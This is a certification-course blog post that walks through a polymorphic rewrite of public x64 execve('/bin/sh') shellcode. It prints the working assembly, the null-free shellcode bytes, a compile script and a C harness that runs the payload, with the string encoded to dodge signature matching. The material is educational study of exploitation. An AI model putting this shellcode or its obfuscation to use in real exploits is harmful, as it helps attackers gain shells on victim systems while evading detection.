9 Minute Read
Student ID: SLAE64-1611

Assignment Six: Polymorphic Conversion of Linux/x64 Shellcode Part Two of Three - execve("/bin/sh")

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7

All code can be found in: https://github.com/securitychops/security-tube-slae64

All work was tested on a 64bit version of Ubuntu 18.04.1 LTS

TLDR; - JMP short Final_Breakdown


Part two of assignment six of the SLAE64 has us performing our second polymorphic transformation on the Linux/x64 shellcode taken from shell-storm.org:
Linux/x86_64 execve(“/bin/sh”)

Once again … you can see from the assembly code below, and at the provided link, this is not a very complex set of code but truth be told there are actually not a whole lot of x64 shellcode samples at shell-storm.org!

Just like last time the very first thing that we should do is start analyzing the shellcode that we will perform our polymorphic transformation on, and since the shellcode author was once again kind enough to provide us with the source assembly we can immediately jump into the analysis of the first instruction by again referencing /usr/include/x86_64-linux-gnu/asm/uninstd_64.h. Doing so will show us that we will be calling only one function, which is sys_execve (0x3b/59).

    section .text
            global _start
 
    _start:
            xor     rdx, rdx
            mov     qword rbx, '//bin/sh'
            shr     rbx, 0x8
            push    rbx
            mov     rdi, rsp
            push    rax
            push    rdi
            mov     rsi, rsp
            mov     al, 0x3b
            syscall
http://shell-storm.org/shellcode/files/shellcode-603.php


Before continuing on however we need to stop for a moment and figure out how big this shellcode we will be transforming is and since the shellcode author was kind enough to provide us with the final shellcode (and the size), we can just check the length of theirs. which should be 30 bytes long:

"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"


The shellcode size we end up with is only 30 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 45 bytes for our shellcode … that is not a lot of room, but here we go!

Behold, I preset to you our new assembly, which ends up only being 40 bytes long, five whole bytes under our original target!

; Student ID     : SLAE64-1611
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.2 : Polymorphic Conversion of Linux/x64 Shellcode Part Two of Three - execve("/bin/sh")
; File Name      : execve.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-603.php

section .text
global _start

_start:

xor     rdx, rdx                        ; zero out rdx

                                        ; first change we alter 0x68732f6e69622f2f
                                        ; to be something to decode 0x5073286e69622f2f
mov     qword rbx, 0x5073286e69622f2f   ; '//bin(sP'
shr     rbx, 0x8                        ; shift 8 places to the right
push    rbx                             ; push /bin(sP to stack

add     byte [rsp+6], 0x18              ; goes from "/bin(sP"
                                        ; to "/bin(sh"

add     byte [rsp+4], 0x07              ; goes from "/bin(sh"
                                        ; to "/bin/sh"

mov     rdi, rsp                        ; moving "//bin/sh" to rdi
push    rax                             ; push \0
push    rdi                             ; push "/bin/sh"
mov     rsi, rsp                        ; moving "/bin/sh\0" to rsi
mov     al, 0x3b                        ; setting rax to execve

syscall                                 ; calling execve
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/execve.nasm


So what did we do that was so different in order to introduce a polymorphic magic? Well, for starters instead of //bin/sh we instead started with Ps(nib//! Then we performed two add operations directly on the memory location in rsp in order to end up with a value of /bin/sh. Just a super basic way to obfuscate the shellcode just a tiny bit more :)

And just like in all the previous posts thus far we go ahead and compile our assembly as such:

./compile.sh execve
[+] Assembling 64bit with Nasm ... 
[+] Linking ...
[+] Done!

At this point we can do a quick check of what it looks like through objdump like so:

objdump -d -M intel execve

Which produces the following output, notice how there are no nulls!

execve:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 d2             	xor    rdx,rdx
  400083:	48 bb 2f 2f 62 69 6e 	movabs rbx,0x5073286e69622f2f
  40008a:	28 73 50 
  40008d:	48 c1 eb 08          	shr    rbx,0x8
  400091:	53                   	push   rbx
  400092:	80 44 24 06 18       	add    BYTE PTR [rsp+0x6],0x18
  400097:	80 44 24 04 07       	add    BYTE PTR [rsp+0x4],0x7
  40009c:	48 89 e7             	mov    rdi,rsp
  40009f:	50                   	push   rax
  4000a0:	57                   	push   rdi
  4000a1:	48 89 e6             	mov    rsi,rsp
  4000a4:	b0 3b                	mov    al,0x3b
  4000a6:	0f 05                	syscall 

Awwwwwwww yeah, no nulls! :)

Once we have the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode as follows:

for i in $(objdump -D execve.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo

Which produces the following 40 bytes of shellcode:

\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x28\x73\x50\x48\xc1\xeb\x08\x53\x80\x44\x24\x06\x18\x80\x44\x24\x04\x07\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05


At this point we are now able to replace the shellcode in our helper C program as such:

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name    : execve.c

#include<stdio.h>
#include<string.h>

//compile with: gcc execve.c -o execve -fno-stack-protector -z execstack -no-pie

unsigned char code[] = \
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x28\x73\x50\x48\xc1\xeb\x08\x53\x80\x44\x24\x06\x18\x80\x44\x24\x04\x07\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

main()
{
	printf("Shellcode Length:  %zu\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/execve.c


And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process

gcc execve.c -o execve -fno-stack-protector -z execstack -no-pie


Animated gif of the complete compilation and running of our polymorphic shellcode!

go go execve


Final_Breakdown:


Below are the contents of the final code needed to generate our 40 byte polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86_64 execve(“/bin/sh”); 30 bytes shellcode.

Assembly Code

; Student ID     : SLAE64-1611
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.2 : Polymorphic Conversion of Linux/x64 Shellcode Part Two of Three - execve("/bin/sh")
; File Name      : execve.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-603.php

section .text
global _start

_start:

xor     rdx, rdx                        ; zero out rdx

                                        ; first change we alter 0x68732f6e69622f2f
                                        ; to be something to decode 0x5073286e69622f2f
mov     qword rbx, 0x5073286e69622f2f   ; '//bin(sP'
shr     rbx, 0x8                        ; shift 8 places to the right
push    rbx                             ; push /bin(sP to stack

add     byte [rsp+6], 0x18              ; goes from "/bin(sP"
                                        ; to "/bin(sh"

add     byte [rsp+4], 0x07              ; goes from "/bin(sh"
                                        ; to "/bin/sh"

mov     rdi, rsp                        ; moving "//bin/sh" to rdi
push    rax                             ; push \0
push    rdi                             ; push "/bin/sh"
mov     rsi, rsp                        ; moving "/bin/sh\0" to rsi
mov     al, 0x3b                        ; setting rax to execve

syscall                                 ; calling execve
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/execve.nasm

Helper Compile Bash Script

#!/bin/bash

echo '[+] Assembling 64bit with Nasm ... '
nasm -f elf64 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/compile.sh

Final C Program To Execute Shellcode

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name    : execve.c

#include<stdio.h>
#include<string.h>

//compile with: gcc execve.c -o execve -fno-stack-protector -z execstack -no-pie

unsigned char code[] = \
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x28\x73\x50\x48\xc1\xeb\x08\x53\x80\x44\x24\x06\x18\x80\x44\x24\x04\x07\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

main()
{
	printf("Shellcode Length:  %zu\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/execve.c

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)